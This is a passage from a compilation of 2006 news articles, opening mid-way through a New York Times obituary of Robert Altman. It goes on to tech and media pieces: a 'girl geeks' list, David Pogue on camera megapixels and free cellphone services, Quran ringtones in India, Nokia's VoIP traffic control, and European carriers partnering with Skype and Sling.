The villains are not the Communist enemy but marble-hearted military bureaucrats personified by the pious Frank Burns (Robert Duvall) and the hypocritical Hot Lips Houlihan (Sally Kellerman).

The film was nominated for five Academy Awards, including one for best picture and one for Mr. Altman’s direction. It also won the Golden Palm, the top award at the 1970 Cannes Film Festival, and the best picture of the year award of the National Society of Film Critics.

But “MASH” was denied the best-picture Oscar; that award went to “Patton.” In later years Mr. Altman received four more Academy Award nominations for best director and two for producing best-picture nominees, “Nashville” and “Gosford Park.” The only Oscar he received, however, was the honorary one in March.

Mr. Altman was angry that the lone Oscar given to “MASH” went to Ring Lardner Jr., who got sole screen credit for the script. Mr. Altman openly disparaged Mr. Lardner’s work, touching off one of his many feuds. Later, when Mr. Altman seemed unable to duplicate the mix of critical and box-office success that “MASH” had achieved, he grew almost disdainful of the film.

“ ‘MASH’ was a pretty good movie,” Mr. Altman said in an interview. “It wasn’t what 20th Century- Fox thought it was going to be. They almost, when they saw it, cut all the blood out. I fought with my life for that. The picture speaks for itself. It became popular because of the timing. Consequently, it’s considered important, but it’s no better or more important than any of the other films I’ve made.”

Mr. Altman’s interest in film genres was candidly subversive. He wanted to explode them to expose what he saw as their phoniness. He decided to make “McCabe & Mr. Miller” for just that reason. “I got interested in the project because I don’t like westerns,” Mr. Altman said. “So I pictured a story with every western cliché in it.”

His intention, he said, was to drain the glamour from the West and show it as it really was — filthy, vermin-infested, whisky-soaked and ruled by thugs with guns. His hero, McCabe (Mr. Beatty), was a dimwitted dreamer who let his cockiness and his love for a drug-addicted prostitute (Ms. Christie) undo him.

“These events took place,” Mr. Altman said, of westerns in general, “but not in the way you’ve been told. I wanted to look at it through a different window, you might say, but I still wanted to keep the poetry in the ballad.” “Nashville” interweaved the stories of 24 characters — country-western stars, housewives, boozers, political operators, oddball drifters — who move in and out of one another’s lives in the closing days of a fictional presidential primary. Mr. Altman returned to this multi-character approach several times (in “A Wedding,” “Health,” “Short Cuts,” “Prêt-à-Porter” and “Kansas City”), but never again to such devastating effect.

“Nashville is a radical, evolutionary leap,” Ms. Kael wrote in The New Yorker. “Altman has already accustomed us to actors who don’t look as if they’re acting; he’s attuned us to the comic subtleties of a multiple-track sound system that makes the sound more live than it ever was before; and he’s evolved an organic style of moviemaking that tells a story without the clanking of plot. Now he dissolves the frame, so that we feel the continuity between what’s on the screen and life off-camera.”

Mr. Altman’s career stalled after “Nashville,” although he continued to attract top actors. Paul Newman starred in “Buffalo Bill and the Indians” in 1976, Sissy Spacek in “3 Women” in 1977 and Mr. Newman again in “Quintet” in 1979. But critical opinion turned against Mr. Altman in the late ’70s, and his films fared worse and worse at the box office.

The crushing blow came in 1980, when Mr. Altman directed Robin Williams in a lavish musical based on the “Popeye” cartoon. Though it eventually achieved modest commercial success, the movie was considered a dud because it made less money than had been expected and drew almost universal scorn from the critics. Mr. Altman retained his critical champions, including Ms. Kael and Vincent Canby of The New York Times, who in 1982 called Mr. Altman one of “our greatest living directors.” But the tide had turned against him.

In “Fore My Eyes,” a 1980 collection of film essays, Stanley Kauffmann spoke for other critics when he derided what he saw as the director’s middle-brow pretensions. “He’s the film equivalent of the advertising-agency art director who haunts the galleries to keep his eye fresh,” he wrote.

If Mr. Altman never fully regained his critical pre-eminence, he came close, recapturing much of his luster in the final years of his life. And he always kept in the game.

He remade his career in the early ’80s with a string of films based on stage dramas: Ed Graczyk’s “Come Back to the Five and Dime, Jimmy Dean, Jimmy Dean” in 1982, David Rabe’s “Streamers” in 1983 and Sam Shepard’s “Fool for Love” in 1985. He also did some fresh work for television, a medium he had reviled when he left it two decades earlier.

In 1988, he directed a strong television adaptation of “The Caine Mutiny Court-Martial,” a stage play by Herman Wouk based on his novel “The Caine Mutiny.” The Altman version restored the class conflict and anti-Semitism that had been excised from the 1954 Hollywood treatment starring Humphrey Bogart.

The ’90s brought an even more satisfying resurgence for Mr. Altman. It began with a pair of critical film successes: “The Player,” an acerbic satire based on the Michael Tolkin novel about a ruthless Hollywood executive, and “Short Cuts,” an episodic, character-filled drama based on the short stories of Raymond Carver. The films earned him his third and fourth Oscar nominations for best director.

Then, in 2001, came “Gosford Park,” an elaborate murder mystery with an ensemble cast that capped his comeback.

Mr. Altman’s last film, “A Prairie Home Companion,” based on Garrison Keillor’s long-running radio show, was released in June and starred Meryl Streep and Kevin Kline in another ensemble cast. Writing in The Times, A.O. Scott called the film a minor Altman work “but a treasure all the same.” “I seem to have become like one of those old standards, in musical terms,” Mr. Altman said in a 1993 interview. “Always around. Lauren Bacall said to me, ‘You just don’t quit, do you?’ Guess not.”

Son of a Salesman

Robert Bernard Altman was born on Feb. 20, 1925, in Kansas City, Mo., to Helen and B.C. Altman, a prosperous insurance salesman for the Kansas City Life Insurance Company. Mr. Altman’s grandfather, the developer Frank G. Altman, had built the Altman Building, a five-story retail mecca in downtown Kansas City. (It was razed in 1974.)

Young Robert attended Catholic schools and the Wentworth Military Academy in Lexington, Mo., before enlisting in the Air Force in 1945. He eventually became a co-pilot on a B-24. It was during this period that he invented what he called “Identi-code,” a method for tattooing numbers on household pets to help identify them if they were lost or stolen; he even talked President Harry S. Truman into having one of his dogs tattooed.

After the Air Force, Mr. Altman went to work with the Calvin Company, a film company in Kansas City, making training films, advertisements and documentaries for industrial clients. In 1947 he married LaVonne Elmer, but they divorced two years later after they had a daughter, Christine. He married Lotus Corelli in 1950, and they divorced in 1955; they had two sons, Michael (who wrote lyrics to “Suicide Is Painless,” the “MASH” theme song, when he was just 14) and Stephen, a film production designer who frequently worked with his father.

Mr. Altman began to set his sights on Hollywood while still working in Kansas City. His first screen credit came for helping write “Bodyguard,” (1948) a B movie about a hard-boiled detective.

It was not until 1955 that he actually headed for Hollywood; he had gotten a call offering him a job directing an episode of the television series “Alfred Hitchcock Presents.”

Over the next decade, he directed dozens of episodes of “Maverick,” “Lawman,” “Peter Gunn,” “Bonanza,” “Hawaiian Eye,” “Route 66,” “Combat!” and “Kraft Suspense Theater.”

It was while on the set of the TV series “Whirlybirds” that Mr. Altman met his third wife, Kathryn Reed. They married in 1957 and had two sons, Robert and Matthew. Mr. Altman’s wife and children survive him, as does a stepdaughter, Connie Corriere, 12 grandchildren and five great-grandchildren. Although Mr. Altman interrupted his early Kansas City work to crank out a teen exploitation movie called “The Delinquents” (1957), it was not until 1968 that he moved up to directing major actors in a Hollywood feature. The film, “Countdown,” starring James Caan and Robert Duvall, was a critically praised drama about the first flight to the moon. He followed that up in 1969 with “That Cold Day in the Park,” a psychological thriller starring Sandy Dennis as a woman driven mad by her sex urges.

In 1970, he made what is perhaps his strangest film, “Brewster McCloud,” about a nerdish youth who wanted to build his own flying machine and whiz around the Houston Astrodome.

Then came “MASH.”

In later years he gathered around him a company of favored performers, among them Mr. Gould, Lily Tomlin, Shelley Duvall, Bert Remsen and Keith Carradine. Many of his sets were celebrated for their party atmosphere, which often came through on the screen. He thought that creating a casual mood helped him expand the boundaries of filmmaking.

To achieve his vision, Mr. Altman was willing to battle studio executives over the financing of his films and ultimate creative control.

“Robert Altman is an artist and a gambler,” his longtime assistant director, Alan Rudolph, wrote in a 1994 tribute in Film Comment. “Pursuing artistic vision on film in America can sometimes put everything you own at risk.”

When a studio refused to distribute Mr. Rudolph’s first film, “Welcome to L.A.,” Mr. Altman responded by forming his own independent distribution company, Lion’s Gate, for the sole purpose of releasing the film. It was a harbinger of the independent film companies of the ’80s and ’90s.

“There’s a big resistance to me,” Mr. Altman told The Washington Post in 1990. “They say, ‘Oh, he’s going to double-cross us somewhere.’ When I explain what I want to do, they can’t see it, because I’m trying to deliver something that they haven’t seen before. And they don’t realize that that’s the very reason they should buy it.”

Mr. Altman acknowledged that his career had suffered as a consequence of his own behavior — his hard drinking, procrastination and irascibility, his problem with authority. He also had a long history of bitter relations with screenwriters. Many complained that he injected himself into the rewriting process and took credit for work he did not do.

But many actors said they loved working with Mr. Altman because of the leeway he gave them in interpreting the script and in improvising in their scenes. “For somebody like me who likes to hang out with my pals and goof off and take the path of least resistance,” Sally Kellerman said, “he’s wonderful that way.”

Mr. Altman said giving actors freedom could draw things out of them that they did not know were there. “I look for actors where there’s something going on there, behind that mask,” Mr. Altman said. “Tim Robbins fascinated me. This John Cusack guy: I always see something going on in there and I don’t know what it is.”

He never mellowed in his view of the movie business.

“The people who get into this business are fast-buck operators, carnival people, always have been,” Mr. Altman said in a 1993 interview. “They don’t try to make good movies now; they’re trying to make successful movies. The marketing people run it now. You don’t really see too many smart people running the studios, running the video companies. They’re all making big money, but they’re not looking for, they don’t have a vested interest in, the shelf life of a movie. There’s no overview. No one says, ‘Forty years from now, who’s going to want to see this.’ No visionaries.”
http://www.nytimes.com/2006/11/22/movies/22altman.html





A Rogue Cinematic Player Steeped in the Art of Ambiguity
A.O. Scott

A few weeks ago, emerging from a weekday afternoon showing of Robert Altman’s “California Split,” a fellow moviegoer and I — complete strangers momentarily colliding, like something out of an Altman movie — stopped in the lobby to puzzle over the film’s ending. In this 1974 picture, George Segal, playing a magazine writer whose obsessive gambling has nearly wrecked his life, has just completed an epic, bank-breaking lucky streak at the poker and craps tables of a Nevada casino. His happier, usually luckier partner, played by Elliott Gould, figures that this is the start of something big. But as the morning light seeps in through the windows of an empty bar away from the betting floor, it’s clear that for the other man, the ride is over. In the wake of a great, improbable, mind-blowing triumph, his response is to shrug and walk away.

Why does he do it? Is this really the conclusion toward which everything else — the scheming and conniving, the boozing and excuse-making — was leading? Has the character, at some point in the frenzy of his streak, undergone a psychological change? We’ve been rooting for him, against the odds, to pull off something like this, but has he, all the while, been rooting against himself? Or was he addicted to losing, a malady that winning has miraculously cured? These hypotheses all make sense, but they also bring you up short. The movie ends not with a sigh of satisfaction, but with a gasp. What just happened?

The films of Mr. Altman, who died Monday at 81, often end on a similar note, or rather on a dissonant, troubling chord, with a moment that is at once grand and deflating. His crowded, complicated climaxes tend to gather up loose ends and then fling them in the air. You get the big, rousing spectacle: the naked supermodels on parade in “Ready to Wear”; the concert and the gunfire in “Nashville.”

But you also get doubt, equivocation, a sly, principled refusal of the neat and tidy rituals of closure. At the end of “The Player,” we are glad to see the hero drive off into the California sunshine, even as we know that he has gotten away with murder. When murder or other mysteries are at issue — as in “Gosford Park” or “The Long Goodbye” — the solution to the crime is pretty much beside the point.

In narrative art, nothing is more artificial than an ending — life, after all, does go on — and Mr. Altman’s endings often serve two purposes. They bring the artifice to a dazzling pitch of virtuosity while exposing it as a glorious sham. They revel in plenitude, in throngs and spectacles, but there is a throb of emptiness, of incompletion, in the midst of the frenzy.

Mr. Altman thrived on the shapelessness and confusion of experience, and he came closer than any other American filmmaker to replicating it without allowing his films to succumb to chaos. His movies buzz with the dangerous thrill of collaboration — the circling cameras, the improvising actors, the jumping, swirling sound design — even as they seem to arise from a great loneliness, a natural state that reasserts itself once the picture is over. A makeshift tribe gathers to produce a film, or to watch one, and then disperses when the shared experience has run its course. Everyone is gone, and the only antidote to this letdown is another film.

And Mr. Altman made a lot of them, and now there won’t be any more. Life goes on, but every life must end. Robert Altman’s exit, while hardly unexpected — he had undergone a heart transplant sometime in the 1990s — is nonetheless jolting to his admirers. We had grown accustomed to his stamina and his refusal to fade away even when the whims of the film industry seemed to turn against him.

Fans of a certain age will remember the succession of films from the 1970s — from “M*A*S*H” to “A Wedding,” passing through “McCabe & Mrs. Miller,” “Nashville,” and “3 Women” — that seemed at once to come out of nowhere and to reveal the central truths of their place and time. Those of us who came a bit later will recall encountering those movies on scratchy prints in revival houses or college cafeterias, and marveling at their energy and strangeness.

It was especially sweet, in the early 1990s, to witness Mr. Altman’s return from the wilderness — not that he had ever stopped making movies. But he seemed, for much of the ’80s, to be living in a kind of internal exile, filming brilliant adaptations of plays like “Come Back to the Five and Dime, Jimmy Dean, Jimmy Dean,” “Streamers” and “Secret Honor” and almost surreptitiously turning out a masterpiece, “Tanner ’88,” for HBO. (The prescience of that series, written by Garry Trudeau, is astonishing: it seems to foretell both the rise of Bill Clinton and the current vogue for infusing fiction with documentary techniques.) But Mr. Altman’s luck turned, and he made at least three more movies — “The Player,” “Short Cuts” and “Gosford Park” — that rank alongside, or perhaps surpass, the milestones of the ’70s.

I’m not inclined, at the moment, to single out monuments. The pleasures of minor Altman — the sweet, shaggy-dog lyricism of “A Prairie Home Companion,” the generous, curious spirit of “The Company,” the gallantry of “Dr. T and the Women” — are not to be underestimated, and to fix a canon would be to miss some of the playful, seat-of-the-pants spirit of the films themselves. I cannot imagine growing tired of Mr. Altman, or failing to be surprised by his movies.

At the moment, signs of his influence are everywhere: in the overlapping dialogue and interlocking scenes of a television show like “The Wire,” for example, or in the multiple narratives drawn together around a theme or a location, in films like “Babel,” “Bobby,” “Crash” and “Fast Food Nation.” And in the last year of his life, the Hollywood establishment, which had often treated Mr. Altman like a crazy old uncle, hailed him as a patriarch, presenting an honorary Academy Award as compensation for the half-dozen he should already have had. He accepted it with his usual wry, brusque grace, after allowing himself to be upstaged by Lily Tomlin and Meryl Streep, whose tribute — one talking over the other, no sentences finished or thoughts completed, all of it perfectly timed — was funnier and more moving than any Oscar moment had any right to be.

And then, a few months later, he released “A Prairie Home Companion,” a contemplation of last things that would be his last movie. It is tempting to declare it Mr. Altman’s valediction — especially now that his production company, Sandcastle 5 Productions, has said that he was suffering from cancer for the past 18 months. But if this movie was a last gathering of the troupe, after which the lights dim forever, and the audience disperses, it was also just another movie in a career like no other, and when it was over — in the ending I like to imagine — American cinema’s greatest gambler shrugged his shoulders and walked away.
http://www.nytimes.com/2006/11/22/movies/22scot.html





Top Ten Girl Geeks
Your Essential Guide

Ada Byron 1
Charles Babbage may have invented the programmable computer, but it was Ada Byron (later Ada Lovelace) who is widely credited with writing the first real program for it. She translated Luigi Menabrea's notes on Babbage's machine from Italian, and added her own ideas on how to calculate Bernoulli numbers using the contraption. These notes came to represent the first piece of computer software ever written.

Byron also saw potential in Babbage's machine that even the inventor himself never fully imagined. She suggested that the device might "compose elaborate and scientific pieces of music of any degree of complexity and extent". Bands who've used ProTools probably agree with her.

Val Tereshkova 2
Tereshkova began her life working in a textile factory and ended it as the first woman in space. It was her membership of a local parachute club that put her in the running when the head Soviet rocket engineer felt suddenly compelled to shoot a woman into the heavens. Tereshkova didn't begin her life as a geek, nor was she particularly geeky when she flew into space. After returning to earth, however, she graduated as a cosmonaut engineer, became a doctor of engineering and flew in the Russian Air Force. Tereshkova was pronounced a Hero of Russia, but perhaps the greatest honour bestowed is that she has a crater on the far side of the moon named after her.

Grace Hopper 3
Hopper was the quintessential geek. Not content with inventing the Mark I Calculator, she wrote the first compiler (broadly, a piece of software that converts text written in a programming language into more efficient machine code). Her invention was called COBOL. Hopper's contribution to the world of computers cannot be underestimated: she pioneered the idea of using programming languages that bear some relation to the English language, and then using a compiler to convert these into a form that a computer can rapidly digest. While this idea seems obvious to any modern programmer, in Hopper's day it was a completely original philosophy. She also famously discovered a moth causing a computer to malfunction -- the first recorded case of a real computer bug.

Daryl Hannah 4
A huge movie buff in her youth, Hannah showed all the early signs of a hardcore geek. Said to have been extremely shy, and diagnosed as 'borderline autistic' according to the All Movie Guide, Hannah is a fiercely intelligent actress. She's starred in some of the most important geek movies of all time including Blade Runner and Attack of the 50 Foot Woman. In Blade Runner, Hannah played a replicant named Pris, a "basic pleasure model", who Harrison Ford's character, Deckard, hunts down and kills. Hannah has also designed two board games -- 'Love It or Hate It' and 'Liebrary'. You don't get a whole lot more geeky than that.

Rosalind Franklin 5
Franklin was an expert in the structure of DNA and viruses and a keen crystallographer. Her uncle also once attacked Winston Churchill with a dog whip (for unrelated reasons). She went to Cambridge University, but wasn't given a full degree because girls weren't allowed them at the time. Franklin used X-rays to work out the structure of DNA, eventually discovering that helical crystalline DNA (don't ask) did not exist. This meant that she was able to scoff in the faces of other scientists who had mistakenly identified this type of DNA -- and she went so far as to write a comical obituary for the erroneous DNA. Many people believe she was owed a Nobel Prize, but unfortunately she died of cancer before the nominations.

Mary Shelley 6
Shelley shut herself away with a group of writers and intellectuals in a shack near Lake Geneva. Here they embarked on a ghost-story contest, but Shelley failed to find inspiration and went to bed in a huff. That night, however, she dreamt the plot of Frankenstein, the tale of a scientist who brings a monster to life using parts from "the dissecting room and the slaughterhouse". Shelley imagined a science far ahead of her time and her Frankenstein character remains the archetypal geek gone mad.

Lisa Simpson 7
Simpson is possibly the world's most famous geek. Admittedly she's fictional, but doesn't that just make her all the more incredibly nerdy? Although Simpson is only 8, she has an IQ of 159, and has been observed to be fluent in Italian, Chinese, Spanish and Swedish. She is an outcast at school on account of her prodigious talents, and often finds it difficult to relate to kids of her age. Simpson's greatest invention is the perpetual motion machine and she is also an expert piano, accordion, bass guitar and baritone saxophone player. In the future, Simpson is expected to become US president.

Marie Curie 8
An expert in radioactivity (though not its long-term consequences), Curie used to walk around with her pockets stuffed full of test tubes containing radioactive isotopes. She worked in her shed with some of the most dangerous substances known to humanity, and is the only person to have won a Nobel Prize in two different scientific disciplines. She discovered the elements radium and polonium, but so that others could share in her discovery, she did not patent the process she used to isolate the radium element. She died in 1934 due to massive radiation exposure.

Aleks Krotoski 9
Krotoski is widely respected as one of the top girl geek writers. Currently writing reviews for the Guardian and working as a presenter for the BBC, she is an expert in the social psychology of virtual worlds. Krotoski has always been a staunch supporter of girls in gaming, and is said to be working on a white paper titled 'Women in Games'.

Paris Hilton 10
Photographed numerous times clutching her PSP, and famous for having her Blackberry hacked, Hilton is, in her socialite heart, a geek. Hilton attended the gamer's Mecca, E3, and even stars in her own mobile game, Diamond Quest. Hilton is continually fraternising with fellow geeks in her show The Simple Life, where she often befriends nerdy boys still living with their parents. Hilton popularised the pink Motorola V3 phone and has starred in one of the most downloaded Internet videos of all time. She might look trendy on the outside, but inside this girl is all binary.
http://crave.cnet.co.uk/0,39029477,49285435,00.htm





The Truth About Digital Cameras
David Pogue

As loyal Pogue’s Posts readers are no doubt aware, I’ve spent the last seven weeks in TV land, filming a first batch of six episodes of my new Discovery-network series, “It’s All Geek to Me.” It was an exhilarating, exhausting, enlightening journey. Someday when we’re all together, I’ll tell you about it.

Actually, I’ll tell you about one thing right now. We did an episode on digital cameras. Part of the fun involved visiting a couple of big electronics stores, posing as somebody who didn’t know much about cameras, and, later, commenting on what they told me.

The clerks at one store recognized me. The guy at the other store had no clue that I’m a tech writer. Both of them were surprisingly frank, pointing out, for example, that five megapixels is plenty for prints up to smallish poster size.

Now, every time I write that, I hear from furious or baffled readers. “I don’t get it,” wrote one. “A ten-megapixel camera produces photos about 3640 pixels wide–enough to make a 12-inch print at 300 dpi (dots per inch) on a good printer. Sure, you can go lower, but quality is sacrificed; you can’t make an 11×14 print, let alone anything bigger.”

I have to say, the math sounds right. But I also have to say that he’s wrong.

On the show, we did a test. We blew up a photograph to 16 x 24 inches at a professional photo lab. One print had 13-megapixel resolution; one had 8; the third had 5. Same exact photo, down-rezzed twice, all three printed at the same poster size. I wanted to hang them all on a wall in Times Square and challenge passersby to see if they could tell the difference.

Even the technician at the photo lab told me that I was crazy, that there’d be a huge difference between 5 megapixels and 13.
I’m prepared to give away the punch line of this segment, because hey—the show doesn’t air till February, and you’ll have forgotten all about what you read here today, right?

Anyway, we ran the test for about 45 minutes. Dozens of people stopped to take the test; a little crowd gathered. About 95 percent of the volunteers gave up, announcing that there was no possible way to tell the difference, even when mashing their faces right up against the prints. A handful of them attempted guesses—but were wrong. Only one person correctly ranked the prints in megapixel order, although (a) she was a photography professor, and (b) I believe she just got lucky.

I’m telling you, there was NO DIFFERENCE.

This post is going to get a lot of people riled up, I know, because in THEORY, you should be able to see a difference. But you can’t.

And I’m hoping this little test can save you some bucks the next time you’re shopping for a camera.
http://pogue.blogs.nytimes.com/2006/...ogues-posts-2/





Clerics in India Dismiss Quran Ringtones
Biswajeet Banerjee

Muslim clerics at a leading seminary in India have asked people to refrain from using verses from the Quran as ringtones for their mobile phones, saying the practice was un-Islamic.

Quran verses "are not meant for entertainment," said Mohammed Asumin Qazmi, an official at the Dar-ul Uloom seminary in the northern Indian town of Deoband. "Anyone who persists in using these should be ostracized from society."

Ringtones with Quran verses or calls to prayers are popular among Muslims in Uttar Pradesh, India's largest state.

Mufti Badru-Hasan, a leading cleric in Uttar Pradesh capital of Lucknow, said he supported a ban on such ringtones.

"One should hear the complete verse of the Quran with a pious mind and in silence. If it is used as a ringtone, a person is bound to switch on the mobile, thus truncating the verse halfway," he said. "This is an un-Islamic act."

They are most commonly used by people in their mid-40s and 50s, said Mukesh Sinha, a mobile phone company executive.

Many users consider the religious tunes a reminder of their faith.

"Whenever my phone rings, I hear these verses that stress the values of hard work and honesty, and I feel closer to my religion," bank manager Faiz Siddaqui said.
http://hosted.ap.org/dynamic/stories...11-21-18-44-31





Nokia Promises An Easy Way To Kill Mobile VoIP

Mobile network and device maker, Nokia, has announced a network operator solution that is designed specifically to kill peer-to-peer traffic such as Skype and other IM-style Voice solutions.

The peer-to-peer traffic control product helps mobile operators "better manage their data traffic" says Nokia as it allows them to "control the use of network resources by bandwidth hungry applications such as file sharing and Voice over IP telephony".

The centralised solution is nothing more than a software upgrade to the company's Flexi Intelligent Service Node (ISN) and will be commercially available during the first half of 2007.

The Nokia Flexi ISN acts as a centralised control point for data services, providing cellular network users with data connectivity.

What the upgrade does is to improve the service, subscriber, and access awareness capabilities of the network node to allow it to identify data traffic according to the type of service.

They can then treat that "traffic in a way that best optimises the use of network resources according to the operators' business strategy," says a Nokia statement.

In other words, please buy our data pipe, but we'll decide what you can put down it.

"With the explosion of affordable high-speed mobile data access, operators are now being challenged to make the best possible use of their networks, especially when peer-to-peer applications increase their traffic load and compete with their own services," says Roberto Loiola, VP, Marketing and Sales, Networks, Nokia, trying to put a good face on it.

While peer to peer applications may increase network traffic, that's the objective of having a network isn't it? We suspect this upgrade is less about keeping a lid on P2P traffic so it doesn't impact on other service types and is more about giving operators a way to cripple free voice applications to sure up traditional mobile voice minutes.

Many operators fear the increased availability of affordable wireless data will assist customers to migrate their voice calls from traditional mobile voice minutes to take advantage of low cost calls using VoIP technology.

This fear is holding back the introduction of cost effective data plans.

One operator, Hutchison's 3 Mobile is taking a different approach announcing it plans to introduce flat rate data plans on its 3G networks betting that increasing the ARPU by offering a range of data services will offset the risks to traditional voice revenues which are operating under generous capped plans already.
http://www.voipnews.com.au/content/view/1338/107





Skype and Sling Hitch a Ride

European mobile carriers are embracing third-party services such as Skype and Sling Media that were previously seen as a threat
Olga Kharif

As recently as a few months ago, the wireless industry showed little apparent interest in partnering with Sling Media, a maker of software and devices that let users watch TV and recorded programming on mobile devices. After all, Sling Media makes products that threaten to compete with the TV services that mobile-phone companies are eager to sell—not to mention its services could hog already crowded airwaves used for cell-phone calls and data.

And yet, on Nov. 16, Sling Media Chief Executive Black Krikorian found himself holed up in a conference room in London with executives from some of the world's biggest mobile-phone stalwarts: Hutchison Whampoa, Nokia (NOK), and Sony Ericsson (ERIC). The occasion: Hutchison's British wireless operator 3 was unveiling its X-Series, a bundle of wireless broadband applications that includes Sling's SlingPlayer Mobile (see BusinessWeek.com, 3/27/06, "Sling Media's Show Hits the Road").

X-Series, which becomes available in Britain on Dec. 1 and in other parts of the world in early 2007 for a flat monthly rate, will include Sling as well as other new applications that, until recently, carriers didn't want to touch. They include Orb, which lets users access PCs through mobile devices, and a service from eBay's (EBAY) Skype and startup iSkoot, which enables Web calling via mobile phones. Search and messaging capabilities from the likes of Yahoo! (YHOO), Google (GOOG), and Microsoft (MSFT) will be part of the X-Serve offering as well.

Sudden Recognition

For some of those companies—Sling, Orb, and iSkoot, which have struggled to gain recognition—it's a possibly game-changing deal. "On the Internet, new applications that are unheard of today are popular a few months later," says Geraldine Wilson, a vice-president for Yahoo Europe.

Analysts say the deal will finally bring these companies recognition, legitimacy, and new customers. "Direct-to-consumer [sales] are a hopeless undertaking [for most companies to make money]," says Andrei Jezierski, co-founder of venture consultancy i2 Partners. European mobile carrier Orange, which also struck a deal with Orb in November, reckons that the Orb user base will balloon by between 50,000 and 100,000 in the next three to six months, according to Orb Chairman Joe Costello. Orb has amassed 458,000 users since introducing its first product in 2005.

Vodafone (VOD), which rolled out Orb's software in Germany, might soon introduce the service and a related, aggressive marketing campaign in more countries, Costello says. "We are also talking to [other] carriers in Europe and Asia," he says. ISkoot, a maker of software that lets carriers run Skype's low-cost calling service more efficiently, is "in advanced stages of talking with several European carriers, as well as in discussions with carriers in North America," says CEO Jacob Guedalia. The same goes for Sling.

A Taste of Things to Come in the U.S.?

It's an unexpected turn of events. Skype, which enables free calls between users, could chip away at carriers' international and long-distance fees. Orb and Sling could threaten the wireless service providers' home-brewed mobile video and TV offerings. And if these bandwidth-thirsty services become popular, they could put a strain on the carriers' mobile networks. Indeed, X-Serve would appear to be a wireless carrier's worst nightmare.

And yet, 3, Orange, and Vodafone are undeterred. And Orb's Costello believes these applications will make it into the U.S. within one to two years. Why?

Wireless service providers have to find ways to pay for their billions of dollars in costly network upgrades. They are also grasping for ways to differentiate themselves from a growing band of competitors, such as citywide Wi-Fi and WiMAX wireless broadband services (see BusinessWeek.com, 11/17/06, "Microsoft's Municipal Wi-Fi Push").

Unhappy Mobile Customers

And carriers have discovered that users particularly want mobile access to their PC and TV content. "Before, operators could drive the market" by introducing mobile-only offerings such as ringtones, says Krishna Kanagarayer, an analyst with consultancy Pyramid Research. "Going forward, that will change. Ringtones will not make enough money to pay expenses. Customers are demanding different applications, so now you see this changing mentality."

And while higher-margin data services have been growing at a rapid pace in recent years, the rate will slacken in coming years, analysts say. This year, mobile-data services sales will increase by 47%, to $11.9 billion from 2005, but they will only grow at a compound annual rate of 23% through 2011, according to Pyramid.

In part, that's because nonvoice data account for an increasingly large percentage of overall sales. But it's also because users are still unhappy with the data offerings out there. A recent University of Southern California study found that mobile customers still perceive data services as difficult to use. One example of an inconvenience: To use SlingPlayer Mobile, customers have to download the software onto their mobile devices. The service offered by Britain's 3 will do away with the challenge by preloading much of the X-Serve-related software onto its phones.

Turning the Industry on Its Head

One way to boost data services revenues is to give customers easier access to the services they want most. Today, while subscribers might be able to use Skype or Sling on mobile phones, such use is explicitly prohibited by most operators' terms and conditions of user agreements. And 3 believes its X-Serve, whose pricing hasn't yet been announced, will lead to higher revenues per subscriber. The approach could also help 3, which only enjoys 5.1% market share in Britain, gain share, says Kanagarayer. And these subscribers might stick around longer, now that they can access more services from their phone.

Should U.S. carriers embrace this approach in a year or two, it could turn the U.S. wireless industry on its head. The advent of mobile access to full-blown home PC and TV applications could lead to a revamp in pricing of wireless service providers' data plans, possibly to tiered pricing. And as applications such as mobile Skype take hold, data and voice use will become indistinguishable, predicts Kanagarayer.

Today, most of the 126.3 million mobile data users in the U.S. pay a flat monthly data usage fee (at Cingular, the largest U.S. service provider, an unlimited plan starts at $19.99). That means a user of services such as short-text messaging (SMS) pays as much as a user of bandwidth-thirsty applications such as Sling (alas, many carriers' term and conditions prohibit use of applications like Sling, but carriers are only starting to implement tools designed to catch offenders). For a carrier, that's not a good deal. So U.S. carriers might eventually opt for 3's approach of tiered flat pricing: A user might pay one amount for unlimited data usage, providing access to SMS and e-mail, and extra for use of applications such as Sling and Skype.
http://www.businessweek.com/technolo...v.g3a.rss1121s





Free Services to Inspire Your Cellphone
David Pogue

Thanksgiving, is it? Well, despite occasional headaches, technology has also brought us plenty to be thankful for: safety, convenience and entertainment on the go. Next time you’re running late, lost or lonely, ask yourself: aren’t you grateful for your cellphone?

Actually, don’t answer yet. With every passing month, cellphones are becoming even more useful. Sure, it’s nice that they let you call people from the road. But lately, their reach has grown, thanks to clever programmers making links between the cellular world and the Internet.

Here, for your gratitude-generating pleasure, is a rundown of some of the most exciting and powerful services awaiting your cellphone at this very moment. Better yet, at the moment, they’re all free.

FREE DIRECTORY ASSISTANCE By this time, it’s quite clear that nobody with a “$50 a month” calling plan actually pays only $50 a month. The cellphone companies will do anything to puff up your bill — like charging you $1.50 or $2 every time you dial 411 to find a phone number.

Try 800-FREE-411 (800-373-3411) instead. A computer or human being looks up a number for you at no charge, once you’ve listened to a 20-second ad. It’s a classic time-for-money swap.

Or, for an ad-free option, there is a little-known Google service. Send a text message to 46645 (that’s “Google”; leave off the last E for efficiency). In the body of the message, type what you’re looking for, like “Roger McBride 10025” or “chiropractor dallas tx.” Seconds later, you get a return message from Google, complete with the name, address, and phone number.

FREE ANSWERS Google’s 46645 text-messaging service can fetch much more than phone numbers. It can also send you the weather report (in the body, type, for example, “weather sacramento”), stock quotes (“amzn”), where a movie is showing nearby (type “flushed away 44120”), what a word means (“define schadenfreude”), driving directions (“miami fl to 60609”), unit conversions (“liters in 5 gallons”), currency conversions (“25 usd in euros”), and so on.

Every cell carrier charges for text messages — about 10 cents each, unless you have a plan that includes them. But Google itself doesn’t charge for any of this. It’s not only ad-free, it’s free free.

If you prefer conducting your research missions by voice, call 800-555-TELL (800-555-8355). A cheerful recorded voice invites you to say “Travel,” “Traffic,” “News Center,” “Stock Quotes,” and so on. The system is smart enough to know your location, which pays off when you say “Movies,” “Restaurants,” “Driving directions” or “Taxi.” (This service, run by Tellme Networks as a showcase for its corporate voice-recognition technology, also lets you say “Time” when you’re setting your watch — a blast from phone companies past.)

FREE INTERNATIONAL CALLS You can now call any of 50 countries from the United States, free. Talk as long as you like. You pay only for a call to the access number in Iowa, which is 712-858-8883; if you use your cellphone on nights or weekends, even that’s a free call.

There’s no contract, no ads, nothing to sign up for. At the prompt, press 1 for English. Then punch in 011, the country code and the phone number. The call rings through immediately.

Fine print: In some countries, you can reach only landlines, not cellphones. And in part because FuturePhone’s lines have been flooded, its success at placing calls is not, ahem, 100 percent.

But it’s hard to argue with “free,” which, according to the company, it will be until at least 2010.

